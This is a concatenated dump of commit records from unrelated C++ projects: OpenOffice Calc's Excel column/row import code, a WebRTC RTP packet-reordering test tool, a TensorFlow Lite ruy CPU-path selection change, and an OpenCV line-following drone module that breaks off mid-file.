dr34 (1.26.2); FILE MERGED 2005\/03\/17 16:20:51 dr 1.26.2.1: #i45209# rename classes with name already used somewhere<commit_after>\/*************************************************************************\n *\n * $RCSfile: colrowst.cxx,v $\n *\n * $Revision: 1.27 $\n *\n * last change: $Author: rt $ $Date: 2005-03-29 13:36:04 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifdef PCH\n#include \"filt_pch.hxx\"\n#endif\n\n\n#pragma hdrstop\n\n#include \"colrowst.hxx\"\n\n#include <string.h>\n\n#include \"document.hxx\"\n#include \"root.hxx\"\n\n#ifndef SC_FTOOLS_HXX\n#include \"ftools.hxx\"\n#endif\n#ifndef SC_XLTABLE_HXX\n#include \"xltable.hxx\"\n#endif\n#ifndef SC_XISTREAM_HXX\n#include \"xistream.hxx\"\n#endif\n#ifndef SC_XISTYLE_HXX\n#include \"xistyle.hxx\"\n#endif\n\n\/\/ for filter manager\n#include \"excimp8.hxx\"\n\n\nXclImpColRowSettings::XclImpColRowSettings( RootData& rRootData ) :\n ExcRoot( &rRootData )\n{\n nDefWidth = nDefHeight = 0;\n\n pWidth = new INT32 [ MAXCOL + 1 ];\n pColHidden = new BOOL [ MAXCOL + 1 ];\n\n pHeight = new UINT16 [ MAXROW + 1 ];\n pRowFlags = new INT8[ MAXROW + 1 ];\n\n Reset();\n}\n\n\nXclImpColRowSettings::~XclImpColRowSettings()\n{\n delete[] pRowFlags;\n delete[] pHeight;\n delete[] pColHidden;\n delete[] pWidth;\n}\n\n\nvoid XclImpColRowSettings::Reset( void )\n{\n SCCOL nC;\n for( nC = 0 ; nC <= MAXCOL ; nC++ )\n {\n pColHidden[ nC ] = FALSE;\n pWidth[ nC ] = -1;\n }\n\n memset( pRowFlags, 0x00, sizeof( INT8 ) * ( MAXROW + 1 ) );\n\n bDirty = TRUE;\n nMaxRow = -1;\n\n bSetByStandard = FALSE;\n}\n\n\nvoid XclImpColRowSettings::Apply( SCTAB nScTab )\n{\n if( !bDirty )\n return;\n\n SCCOLROW nC;\n SCROW nStart = 0;\n UINT16 nWidth;\n UINT16 nLastWidth = ( pWidth[ 0 ] >= 0 )? ( UINT16 ) pWidth[ 0 ] : nDefWidth;\n ScDocument& rD = pExcRoot->pIR->GetDoc();\n\n rD.IncSizeRecalcLevel( nScTab );\n\n \/\/ Column-Bemachung\n for( nC = 0 ; nC <= MAXCOL ; nC++ )\n {\n if( pWidth[ nC ] >= 0 )\n \/\/ eingestellte Width\n nWidth = ( UINT16 ) pWidth[ nC ];\n else\n \/\/ Default-Width\n nWidth = nDefWidth;\n\n if( nWidth == 0 )\n {\n pColHidden[ nC ] = TRUE;\n \/\/ Column hidden: remember original column width and set width 0.\n \/\/ Needed for #i11776#, no HIDDEN flags in the document, until\n \/\/ filters and outlines are inserted.\n pWidth[ nC ] = rD.GetColWidth( static_cast<SCCOL>( nC ), nScTab );\n }\n rD.SetColWidth( static_cast<SCCOL>( nC ), nScTab, nWidth );\n }\n\n \/\/ Row-Bemachung\n\n INT8 nFlags;\n nStart = 0;\n UINT16 nHeight;\n\n UINT16 nLastHeight;\n nFlags = pRowFlags[ 0 ];\n if( nFlags & ROWFLAG_USED )\n {\n if( nFlags & ROWFLAG_DEFAULT )\n nLastHeight = nDefHeight;\n else\n {\n nLastHeight = pHeight[ 0 ];\n if( !nLastHeight )\n nLastHeight = nDefHeight;\n }\n }\n else\n nLastHeight = nDefHeight;\n\n for( nC = 0 ; nC <= nMaxRow ; nC++ )\n {\n nFlags = pRowFlags[ nC ];\n\n if( nFlags & ROWFLAG_USED )\n {\n if( nFlags & ROWFLAG_DEFAULT )\n nHeight = nDefHeight;\n else\n {\n nHeight = pHeight[ nC ];\n if( !nHeight )\n nHeight = nDefHeight;\n }\n\n if( nFlags & ( ROWFLAG_HIDDEN | ROWFLAG_MAN ) )\n {\n BYTE nSCFlags = rD.GetRowFlags( nC , nScTab );\n\n if( nFlags & ROWFLAG_MAN )\n nSCFlags |= CR_MANUALSIZE;\n\n rD.SetRowFlags( nC, nScTab, nSCFlags );\n }\n }\n else\n nHeight = nDefHeight;\n\n if( !nHeight )\n {\n pRowFlags[ nC ] |= ROWFLAG_HIDDEN;\n \/\/ Row hidden: remember original row height and set height 0.\n \/\/ Needed for #i11776#, no HIDDEN flags in the document, until\n \/\/ filters and outlines are inserted.\n pHeight[ nC ] = rD.GetRowHeight( nC, nScTab );\n }\n\n if( nLastHeight != nHeight )\n {\n DBG_ASSERT( nC > 0, \"XclImpColRowSettings::Apply(): Algorithmus-Fehler!\" );\n\n if( nLastHeight )\n rD.SetRowHeightRange( nStart, nC - 1, nScTab, nLastHeight );\n\n nStart = nC;\n nLastHeight = nHeight;\n }\n }\n\n if( nLastHeight && nMaxRow >= 0 )\n rD.SetRowHeightRange( nStart, static_cast<SCROW>( nMaxRow ), nScTab, nLastHeight );\n\n bDirty = FALSE; \/\/ jetzt stimmt Tabelle im ScDocument\n\n rD.DecSizeRecalcLevel( nScTab );\n}\n\n\nvoid XclImpColRowSettings::SetHiddenFlags( SCTAB nScTab )\n{\n ScDocument& rDoc = pExcRoot->pIR->GetDoc();\n\n for( SCCOL nScCol = 0; nScCol <= MAXCOL; ++nScCol )\n {\n if( pColHidden[ nScCol ] )\n {\n \/\/ set original width, needed to unhide the column\n if( pWidth[ nScCol ] > 0 )\n rDoc.SetColWidth( nScCol, nScTab, static_cast< sal_uInt16 >( pWidth[ nScCol ] ) );\n \/\/ really hide the column\n rDoc.ShowCol( nScCol, nScTab, FALSE );\n }\n }\n\n \/\/ #i38093# rows hidden by filter need extra flag\n SCROW nFirstFilterScRow = SCROW_MAX;\n SCROW nLastFilterScRow = SCROW_MAX;\n if( pExcRoot->pIR->GetBiff() == EXC_BIFF8 )\n {\n const XclImpAutoFilterData* pFilter = pExcRoot->pIR->GetFilterManager().GetByTab( nScTab );\n if( pFilter && pFilter->IsActive() )\n {\n nFirstFilterScRow = pFilter->StartRow();\n nLastFilterScRow = pFilter->EndRow();\n }\n }\n\n for( SCROW nScRow = 0; nScRow <= nMaxRow; ++nScRow )\n {\n if( pRowFlags[ nScRow ] & ROWFLAG_HIDDEN )\n {\n \/\/ set original height, needed to unhide the row\n if( pHeight[ nScRow ] > 0 )\n rDoc.SetRowHeight( nScRow, nScTab, pHeight[ nScRow ] );\n \/\/ really hide the row\n rDoc.ShowRow( nScRow, nScTab, FALSE );\n \/\/ #i38093# rows hidden by filter need extra flag\n if( (nFirstFilterScRow <= nScRow) && (nScRow <= nLastFilterScRow) )\n rDoc.SetRowFlags( nScRow, nScTab, rDoc.GetRowFlags( nScRow, nScTab ) | CR_FILTERED );\n }\n }\n}\n\n\nvoid XclImpColRowSettings::HideColRange( SCCOL nColFirst, SCCOL nColLast )\n{\n DBG_ASSERT( nColFirst <= nColLast, \"+XclImpColRowSettings::HideColRange(): First > Last?!\" );\n DBG_ASSERT( ValidCol(nColLast), \"+XclImpColRowSettings::HideColRange(): ungueltige Column\" );\n\n if( !ValidCol(nColLast) )\n nColLast = MAXCOL;\n\n BOOL* pHidden;\n BOOL* pFinish;\n pHidden = &pColHidden[ nColFirst ];\n pFinish = &pColHidden[ nColLast ];\n while( pHidden <= pFinish )\n *( pHidden++ ) = TRUE;\n}\n\n\nvoid XclImpColRowSettings::SetWidthRange( SCCOL nColFirst, SCCOL nColLast, UINT16 nNew )\n{\n DBG_ASSERT( nColFirst <= nColLast, \"+XclImpColRowSettings::SetColWidthRange(): First > Last?!\" );\n DBG_ASSERT( ValidCol(nColLast), \"+XclImpColRowSettings::SetColWidthRange(): ungueltige Column\" );\n\n if( !ValidCol(nColLast) )\n nColLast = MAXCOL;\n\n INT32* pWidthCount;\n INT32* pFinish;\n pWidthCount = &pWidth[ nColFirst ];\n pFinish = &pWidth[ nColLast ];\n\n while( pWidthCount <= pFinish )\n *( pWidthCount++ ) = nNew;\n}\n\n\nvoid XclImpColRowSettings::SetDefaultXF( SCCOL nColFirst, SCCOL nColLast, UINT16 nXF )\n{\n DBG_ASSERT( nColFirst <= nColLast, \"+XclImpColRowSettings::SetDefaultXF(): First > Last?!\" );\n DBG_ASSERT( ValidCol(nColLast), \"+XclImpColRowSettings::SetDefaultXF(): ungueltige Column\" );\n\n if( !ValidCol(nColLast) )\n nColLast = MAXCOL;\n\n const XclImpRoot& rRoot = *pExcRoot->pIR;\n\n \/\/ #109555# assign the default column formatting here to ensure\n \/\/ that explicit cell formatting is not overwritten.\n for( SCCOL nScCol = nColFirst; nScCol <= nColLast; ++nScCol )\n rRoot.GetXFRangeBuffer().SetColumnDefXF( nScCol, nXF );\n}\n\n\nvoid XclImpColRowSettings::SetDefaults( UINT16 nWidth, UINT16 nHeight )\n{\n nDefWidth = nWidth;\n nDefHeight = nHeight;\n}\n\n\nvoid XclImpColRowSettings::_SetRowSettings( const SCROW nRow, const UINT16 nExcelHeight, const UINT16 nGrbit )\n{\n pHeight[ nRow ] = nExcelHeight & 0x7FFF;\n\n INT8 nFlags = ROWFLAG_USED;\n\n if( nExcelHeight & 0x8000 )\n nFlags |= ROWFLAG_DEFAULT;\n\n if( nGrbit & EXC_ROW_UNSYNCED )\n nFlags |= ROWFLAG_MAN;\n\n if( nGrbit & EXC_ROW_HIDDEN )\n nFlags |= ROWFLAG_HIDDEN;\n\n pRowFlags[ nRow ] = nFlags;\n\n if( nRow > nMaxRow )\n nMaxRow = nRow;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <algorithm>\n#include <stdio.h>\n#include <vector>\n\n#include \"NETEQTEST_RTPpacket.h\"\n\n\n\/*********************\/\n\/* Misc. definitions *\/\n\/*********************\/\n\n#define FIRSTLINELEN 40\n\nbool pktCmp (NETEQTEST_RTPpacket *a, NETEQTEST_RTPpacket *b) \n{\n return (a->time() < b->time());\n}\n\n\nint main(int argc, char* argv[])\n{\n\tFILE *inFile=fopen(argv[1],\"rb\");\n\tif (!inFile)\n {\n printf(\"Cannot open input file %s\\n\", argv[1]);\n return(-1);\n }\n printf(\"Input RTP file: %s\\n\",argv[1]);\n\n FILE *statFile=fopen(argv[2],\"rt\");\n\tif (!statFile)\n {\n printf(\"Cannot open timing file %s\\n\", argv[2]);\n return(-1);\n }\n printf(\"Timing file: %s\\n\",argv[2]);\n\n\tFILE *outFile=fopen(argv[3],\"wb\");\n\tif (!outFile)\n {\n printf(\"Cannot open output file %s\\n\", argv[3]);\n return(-1);\n }\n\tprintf(\"Output RTP file: %s\\n\\n\",argv[3]);\n\n \/\/ read all statistics and insert into map\n \/\/ read first line\n char tempStr[100];\n fgets(tempStr, 100, statFile);\n\n \/\/ define map\n std::map<std::pair<WebRtc_UWord16, WebRtc_UWord32>, WebRtc_Word32> packetStats;\n WebRtc_UWord16 seqNo;\n WebRtc_UWord32 ts;\n WebRtc_Word32 sendTime;\n\n while(fscanf(statFile, \"%hu %lu %ld\\n\", &seqNo, &ts, &sendTime) == 3)\n {\n std::pair<WebRtc_UWord16, WebRtc_UWord32> tempPair = std::pair<WebRtc_UWord16, WebRtc_UWord32>(seqNo, ts);\n\n packetStats[tempPair] = sendTime;\n }\n\n fclose(statFile);\n\n \/\/ read file header and write directly to output file\n\tchar firstline[FIRSTLINELEN];\n\tfgets(firstline, FIRSTLINELEN, inFile);\n\tfputs(firstline, outFile);\n\tfread(firstline, 4+4+4+2+2, 1, inFile); \/\/ start_sec + start_usec\t+ source + port + padding\n\tfwrite(firstline, 4+4+4+2+2, 1, outFile);\n\n std::vector<NETEQTEST_RTPpacket *> packetVec;\n int i = 0;\n\n while (1)\n {\n \/\/ insert in vector\n NETEQTEST_RTPpacket *newPacket = new NETEQTEST_RTPpacket();\n if (newPacket->readFromFile(inFile) < 0)\n {\n \/\/ end of file\n break;\n }\n \n \/\/ look for new send time in statistics vector\n std::pair<WebRtc_UWord16, WebRtc_UWord32> tempPair = \n std::pair<WebRtc_UWord16, WebRtc_UWord32>(newPacket->sequenceNumber(), newPacket->timeStamp());\n\n WebRtc_Word32 newSendTime = packetStats[tempPair];\n if (newSendTime >= 0) \n {\n newPacket->setTime(newSendTime); \/\/ set new send time\n packetVec.push_back(newPacket); \/\/ insert in vector\n }\n else\n {\n \/\/ negative value represents lost packet\n \/\/ don't insert, but delete packet object\n delete newPacket;\n }\n\n }\n\n \/\/ sort the vector according to send times\n std::sort(packetVec.begin(), packetVec.end(), pktCmp);\n\n std::vector<NETEQTEST_RTPpacket *>::iterator it;\n for (it = packetVec.begin(); it != packetVec.end(); it++)\n {\n \/\/ write to out file\n if ((*it)->writeToFile(outFile) < 0)\n {\n printf(\"Error writing to file\\n\");\n return(-1);\n }\n\n \/\/ delete packet\n delete *it;\n }\n\n fclose(inFile);\n fclose(outFile);\n\n return 0;\n}\n<commit_msg>Update test tool RTPchange<commit_after>\/*\n * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <algorithm>\n#include <stdio.h>\n#include <vector>\n\n#include \"NETEQTEST_RTPpacket.h\"\n\n\n\/*********************\/\n\/* Misc. definitions *\/\n\/*********************\/\n\n#define FIRSTLINELEN 40\n\nbool pktCmp (NETEQTEST_RTPpacket *a, NETEQTEST_RTPpacket *b) \n{\n return (a->time() < b->time());\n}\n\n\nint main(int argc, char* argv[])\n{\n\tFILE *inFile=fopen(argv[1],\"rb\");\n\tif (!inFile)\n {\n printf(\"Cannot open input file %s\\n\", argv[1]);\n return(-1);\n }\n printf(\"Input RTP file: %s\\n\",argv[1]);\n\n FILE *statFile=fopen(argv[2],\"rt\");\n\tif (!statFile)\n {\n printf(\"Cannot open timing file %s\\n\", argv[2]);\n return(-1);\n }\n printf(\"Timing file: %s\\n\",argv[2]);\n\n\tFILE *outFile=fopen(argv[3],\"wb\");\n\tif (!outFile)\n {\n printf(\"Cannot open output file %s\\n\", argv[3]);\n return(-1);\n }\n\tprintf(\"Output RTP file: %s\\n\\n\",argv[3]);\n\n \/\/ read all statistics and insert into map\n \/\/ read first line\n char tempStr[100];\n fgets(tempStr, 100, statFile);\n\n \/\/ define map\n std::map<std::pair<WebRtc_UWord16, WebRtc_UWord32>, WebRtc_UWord32>\n packetStats;\n WebRtc_UWord16 seqNo;\n WebRtc_UWord32 ts;\n WebRtc_UWord32 sendTime;\n\n while(fscanf(statFile, \"%u %u %u %*i\\n\", &seqNo, &ts, &sendTime) == 3)\n {\n std::pair<WebRtc_UWord16, WebRtc_UWord32> tempPair =\n std::pair<WebRtc_UWord16, WebRtc_UWord32>(seqNo, ts);\n\n packetStats[tempPair] = sendTime;\n }\n\n fclose(statFile);\n\n \/\/ read file header and write directly to output file\n\tchar firstline[FIRSTLINELEN];\n\tfgets(firstline, FIRSTLINELEN, inFile);\n\tfputs(firstline, outFile);\n\tfread(firstline, 4+4+4+2+2, 1, inFile); \/\/ start_sec + start_usec\t+ source + port + padding\n\tfwrite(firstline, 4+4+4+2+2, 1, outFile);\n\n std::vector<NETEQTEST_RTPpacket *> packetVec;\n int i = 0;\n\n while (1)\n {\n \/\/ insert in vector\n NETEQTEST_RTPpacket *newPacket = new NETEQTEST_RTPpacket();\n if (newPacket->readFromFile(inFile) < 0)\n {\n \/\/ end of file\n break;\n }\n \n \/\/ look for new send time in statistics vector\n std::pair<WebRtc_UWord16, WebRtc_UWord32> tempPair = \n std::pair<WebRtc_UWord16, WebRtc_UWord32>(newPacket->sequenceNumber(), newPacket->timeStamp());\n\n WebRtc_UWord32 newSendTime = packetStats[tempPair];\n if (newSendTime >= 0) \n {\n newPacket->setTime(newSendTime); \/\/ set new send time\n packetVec.push_back(newPacket); \/\/ insert in vector\n }\n else\n {\n \/\/ negative value represents lost packet\n \/\/ don't insert, but delete packet object\n delete newPacket;\n }\n\n }\n\n \/\/ sort the vector according to send times\n std::sort(packetVec.begin(), packetVec.end(), pktCmp);\n\n std::vector<NETEQTEST_RTPpacket *>::iterator it;\n for (it = packetVec.begin(); it != packetVec.end(); it++)\n {\n \/\/ write to out file\n if ((*it)->writeToFile(outFile) < 0)\n {\n printf(\"Error writing to file\\n\");\n return(-1);\n }\n\n \/\/ delete packet\n delete *it;\n }\n\n fclose(inFile);\n fclose(outFile);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2019 Google LLC. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/lite\/experimental\/ruy\/context.h\"\n\n#include \"tensorflow\/lite\/experimental\/ruy\/check_macros.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/detect_arm.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/detect_x86.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/have_built_path_for.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/platform.h\"\n\nnamespace ruy {\n\nvoid Context::SetRuntimeEnabledPaths(Path paths) {\n runtime_enabled_paths_ = paths;\n}\n\nPath Context::GetRuntimeEnabledPaths() {\n \/\/ This function should always return the same value on a given machine.\n \/\/ When runtime_enabled_paths_ has its initial value kNone, it performs\n \/\/ some platform detection to resolve it to specific Path values.\n\n \/\/ Fast path: already resolved.\n if (runtime_enabled_paths_ != Path::kNone) {\n return runtime_enabled_paths_;\n }\n\n \/\/ Need to resolve now. Start by considering all paths enabled.\n runtime_enabled_paths_ = kAllPaths;\n\n#if RUY_PLATFORM(ARM)\n \/\/ Now selectively disable paths that aren't supported on this machine.\n if ((runtime_enabled_paths_ & Path::kNeonDotprod) != Path::kNone) {\n if (!DetectDotprod()) {\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~Path::kNeonDotprod;\n \/\/ Sanity check.\n RUY_DCHECK((runtime_enabled_paths_ & Path::kNeonDotprod) == Path::kNone);\n }\n }\n#endif \/\/ RUY_PLATFORM(ARM)\n\n#if RUY_PLATFORM(X86)\n if ((runtime_enabled_paths_ & Path::kAvx2) != Path::kNone) {\n if (!(HaveBuiltPathForAvx2() && DetectCpuAvx2())) {\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~Path::kAvx2;\n \/\/ Sanity check.\n RUY_DCHECK((runtime_enabled_paths_ & Path::kAvx2) == Path::kNone);\n }\n }\n\n if ((runtime_enabled_paths_ & Path::kAvx512) != Path::kNone) {\n if (!(HaveBuiltPathForAvx512() && DetectCpuAvx512())) {\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~Path::kAvx512;\n \/\/ Sanity check.\n RUY_DCHECK((runtime_enabled_paths_ & Path::kAvx512) == Path::kNone);\n }\n }\n#endif \/\/ RUY_PLATFORM(X86)\n\n \/\/ Sanity check. We can't possibly have disabled all paths, as some paths\n \/\/ are universally available (kReference, kStandardCpp).\n RUY_DCHECK(runtime_enabled_paths_ != Path::kNone);\n return runtime_enabled_paths_;\n}\n\n} \/\/ namespace ruy\n<commit_msg>Ruy: Add mechanism to mask out paths.<commit_after>\/* Copyright 2019 Google LLC. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/lite\/experimental\/ruy\/context.h\"\n\n#include \"tensorflow\/lite\/experimental\/ruy\/check_macros.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/detect_arm.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/detect_x86.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/have_built_path_for.h\"\n#include \"tensorflow\/lite\/experimental\/ruy\/platform.h\"\n\nnamespace ruy {\n\nvoid Context::SetRuntimeEnabledPaths(Path paths) {\n runtime_enabled_paths_ = paths;\n}\n\nPath Context::GetRuntimeEnabledPaths() {\n \/\/ This function should always return the same value on a given machine.\n \/\/ When runtime_enabled_paths_ has its initial value kNone, it performs\n \/\/ some platform detection to resolve it to specific Path values.\n\n \/\/ Fast path: already resolved.\n if (runtime_enabled_paths_ != Path::kNone) {\n return runtime_enabled_paths_;\n }\n\n \/\/ Need to resolve now. Start by considering all paths enabled.\n runtime_enabled_paths_ = kAllPaths;\n\n \/\/ This mechanism is intended to be used for testing and benchmarking. For\n \/\/ example, one can set RUY_FORCE_DISABLE_PATHS to Path::kAvx512 in order to\n \/\/ evaluate AVX2 performance on an AVX-512 machine.\n#ifdef RUY_FORCE_DISABLE_PATHS\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~(RUY_FORCE_DISABLE_PATHS);\n#endif\n\n#if RUY_PLATFORM(ARM)\n \/\/ Now selectively disable paths that aren't supported on this machine.\n if ((runtime_enabled_paths_ & Path::kNeonDotprod) != Path::kNone) {\n if (!DetectDotprod()) {\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~Path::kNeonDotprod;\n \/\/ Sanity check.\n RUY_DCHECK((runtime_enabled_paths_ & Path::kNeonDotprod) == Path::kNone);\n }\n }\n#endif \/\/ RUY_PLATFORM(ARM)\n\n#if RUY_PLATFORM(X86)\n if ((runtime_enabled_paths_ & Path::kAvx2) != Path::kNone) {\n if (!(HaveBuiltPathForAvx2() && DetectCpuAvx2())) {\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~Path::kAvx2;\n \/\/ Sanity check.\n RUY_DCHECK((runtime_enabled_paths_ & Path::kAvx2) == Path::kNone);\n }\n }\n\n if ((runtime_enabled_paths_ & Path::kAvx512) != Path::kNone) {\n if (!(HaveBuiltPathForAvx512() && DetectCpuAvx512())) {\n runtime_enabled_paths_ = runtime_enabled_paths_ & ~Path::kAvx512;\n \/\/ Sanity check.\n RUY_DCHECK((runtime_enabled_paths_ & Path::kAvx512) == Path::kNone);\n }\n }\n#endif \/\/ RUY_PLATFORM(X86)\n\n \/\/ Sanity check. We can't possibly have disabled all paths, as some paths\n \/\/ are universally available (kReference, kStandardCpp).\n RUY_DCHECK(runtime_enabled_paths_ != Path::kNone);\n return runtime_enabled_paths_;\n}\n\n} \/\/ namespace ruy\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n#include \"..\/control.h\"\n\nusing namespace std;\nusing namespace cv;\n\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list);\n\nvoid draw_lines(const Mat &image, const vector<Vec2f> &lines);\n\nvector<Vec2f> condense_lines(vector<Vec2f> &lines);\n\n\nvoid LineFollowing::detect_lines(Mat &original_frame, double scale_factor) {\n\n Mat hsv;\n Mat mask;\n Mat image;\n\n\n cvtColor(original_frame, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n Canny(mask, mask, 50, 200, 3);\n\n vector<Vec2f> lines;\n HoughLines(mask, lines, 1, CV_PI \/ 180, 100, 0, 0);\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n\n vector<Vec2f> condensed = condense_lines(lines);\n draw_lines(original_frame, condensed);\n\n\n}\n\nvector<Vec2f> condense_lines(vector<Vec2f> lines) {\n vector<Vec2f> condensed;\n vector<Vec2f> tmp_list;\n for (int i = 0; i < lines.size(); i++) {\n if (lines[i][1] > CV_PI \/ 2) {\n lines[i][1] -= CV_PI;\n lines[i][0] *= -1;\n }\n else if (lines[i][1] < ((CV_PI \/ 2) * -1)) {\n lines[i][1] += CV_PI;\n lines[i][0] *= -1;\n }\n\n \/\/put in order of theta, rho\n swap(lines[i][0], lines[i][1]);\n }\n\n \/\/Order from least to greatest theta\n sort(lines.begin(), lines.end(),\n [](const Vec2f &a, const Vec2f &b) {\n return a[0] < b[0];\n });\n\n while (!lines.empty()) {\n Vec2f to_manipulate = lines.front();\n lines.erase(lines.begin());\n\n if (tmp_list.empty()) {\n tmp_list.push_back(to_manipulate);\n continue;\n } else {\n if (abs(to_manipulate[0] - tmp_list.front()[0]) < 20 * (CV_PI \/ 180.0)) {\n \/\/The angles are similar\n if (abs(to_manipulate[1] - tmp_list.front()[1]) < 50) {\n \/\/the distances are similar\n tmp_list.push_back(to_manipulate);\n continue;\n }\n } else {\n \/\/Need to clear out the tmp_list\n compress_lines(condensed, tmp_list);\n\n tmp_list.clear();\n tmp_list.push_back(to_manipulate);\n\n }\n }\n }\n if (!tmp_list.empty()) {\n compress_lines(condensed, tmp_list);\n }\n return condensed;\n}\n\nvoid draw_lines(const Mat &image, const vector<Vec2f> &lines) {\n for (size_t i = 0; i < lines.size(); i++) {\n float theta = lines[i][0], rho = lines[i][1];\n \/\/ float rho = lines[i][0], theta = lines[i][1];\n Point pt1, pt2;\n double a = cos(theta), b = sin(theta);\n double x0 = a * rho, y0 = b * rho;\n pt1.x = cvRound(x0 + 1000 * (-b));\n pt1.y = cvRound(y0 + 1000 * (a));\n pt2.x = cvRound(x0 - 1000 * (-b));\n pt2.y = cvRound(y0 - 1000 * (a));\n line(image, pt1, pt2, Scalar(0, 0, 255), 3, CV_AA);\n }\n}\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list) {\n Vec2f new_point;\n float angle_sum = 0;\n float rho_sum = 0;\n for (int j = 0; j < tmp_list.size(); ++j) {\n angle_sum += tmp_list[j][0];\n rho_sum += tmp_list[j][1];\n }\n angle_sum \/= tmp_list.size();\n rho_sum \/= tmp_list.size();\n\n new_point[0] = angle_sum;\n new_point[1] = rho_sum;\n\n condensed.push_back(new_point);\n}\n\nLineFollowing::LineFollowing(Control *control) {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n control_ptr = control;\n minH = 50;\n minS = 20;\n minV = 150;\n maxH = 125;\n maxS = 100;\n maxV = 255;\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nvoid LineFollowing::fly() {\n\n control_ptr->velocities.vx = 0;\n control_ptr->velocities.vy = 0;\n control_ptr->velocities.vz = 0;\n control_ptr->velocities.vr = 0;\n\n detect_lines(control_ptr->image, 1);\n\n return;\n}\n<commit_msg>fixes<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n#include \"..\/control.h\"\n\nusing namespace std;\nusing namespace cv;\n\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list);\n\nvoid draw_lines(Mat &image, const vector<Vec2f> &lines);\n\nvector<Vec2f> condense_lines(vector<Vec2f> lines);\n\n\nvoid LineFollowing::detect_lines(Mat &original_frame, double scale_factor) {\n\n Mat hsv;\n Mat mask;\n Mat image;\n\n\n cvtColor(original_frame, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n Canny(mask, mask, 50, 200, 3);\n\n vector<Vec2f> lines;\n HoughLines(mask, lines, 1, CV_PI \/ 180, 100, 0, 0);\n\n printf(\"Adding in %d 